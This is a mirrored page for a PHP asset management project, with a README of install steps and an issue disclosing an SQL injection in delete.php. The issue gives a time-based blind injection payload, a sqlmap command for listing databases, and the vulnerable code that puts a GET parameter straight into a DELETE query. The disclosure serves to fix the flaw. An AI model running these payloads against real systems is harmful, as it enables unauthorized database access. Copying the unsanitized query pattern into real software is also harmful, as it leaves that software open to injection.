Code Monkey home page Code Monkey logo

assets-management-system-in-php's Introduction

Assets-management-system-in-php

Asset management System in PHP

Asset management, refers to any system that monitors and maintains things of value to an entity or group. It may apply to both tangible assets such as buildings and to intangible concepts such as intellectual property and goodwill. Asset management is a systematic process of operating, maintaining, upgrading, and disposing of assets cost-effectively. Here Asset management means IT Asset, specially Hardwares, Softwares etc. Brief overview of the technology: Front end: HTML, CSS, JavaScript

  1. HTML: HTML is used to create and save web document. E.g. Notepad/Notepad++
  2. CSS : (Cascading Style Sheets) Create attractive Layout
  3. Bootstrap : responsive design mobile freindly site
  4. JavaScript: it is a programming language, commonly use with web browsers. Back end: PHP, MySQL
  5. PHP: Hypertext Preprocessor (PHP) is a technology that allows software developers to create dynamically generated web pages, in HTML, XML, or other document types, as per client request. PHP is open source software.
  6. MySQL: MySql is a database, widely used for accessing querying, updating, and managing data in databases. Software Requirement(any one) • WAMP Server • XAMPP Server • MAMP Server • LAMP Server Installation Steps
  7. Download zip file and Unzip file on your local server.
  8. Put this file inside "c:/wamp/www/" .
  9. Database Configuration Open phpmyadmin Create Database named user. Import database user.sql from downloaded folder(inside database)
  10. Open Your browser put inside "http://localhost/assets-management-system/"

visit- https://projectworlds.in

https://www.projectworlds.in/php-projects/asset-management-system-project-in-php/

assets-management-system-in-php's People

Contributors

yugeshverma avatar

Stargazers

avatar avatar avatar avatar avatar

Watchers

avatar avatar

Forkers

sbelidhe07 noah-droid pfof1997 faisal-mujeeb yusuf-saif afework9 qqiannn

assets-management-system-in-php's Issues

SQL Injection vulnerability via the "id" parameter in delete.php

Steps to reproduce

  1. Create new account
  2. Add new asset
  3. Click on delete asset
  4. Intercept the request and insert the payload in the value of parameter.
  5. Forward the request

Payload:

http://localhost/delete.php?id=4 AND (SELECT 8445 FROM (SELECT(SLEEP(5)))pmFJ)

PoC

sqlmap -u 'http://localhost/delete.php?id=4*' --cookie="PHPSESSID=SESSID" --dbms=MySQL --dbs --batch

SQLi

Code review

Assets-management-system-in-php/core/functions/asset.php

Lines 52 to 56 in c87bf9b

function delete_data($con,$id){
$query = "DELETE FROM `assets` WHERE `id`= $id";
mysqli_query($con,$query);
}

The code constructs an SQL query using the id obtained from the user input, and then executes the query using mysqli_query

Assets-management-system-in-php/delete.php

Lines 1 to 5 in c87bf9b

<?php include 'core/init.php';
$id = $_GET['id'];
delete_data($con,$id);
header('location:home.php');

There is no validation or sanitization of the $id variable. It means that any value provided by a user as the id parameter, will be directly used in the SQL query

Author
Pegasus (@Pegasus0xx)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.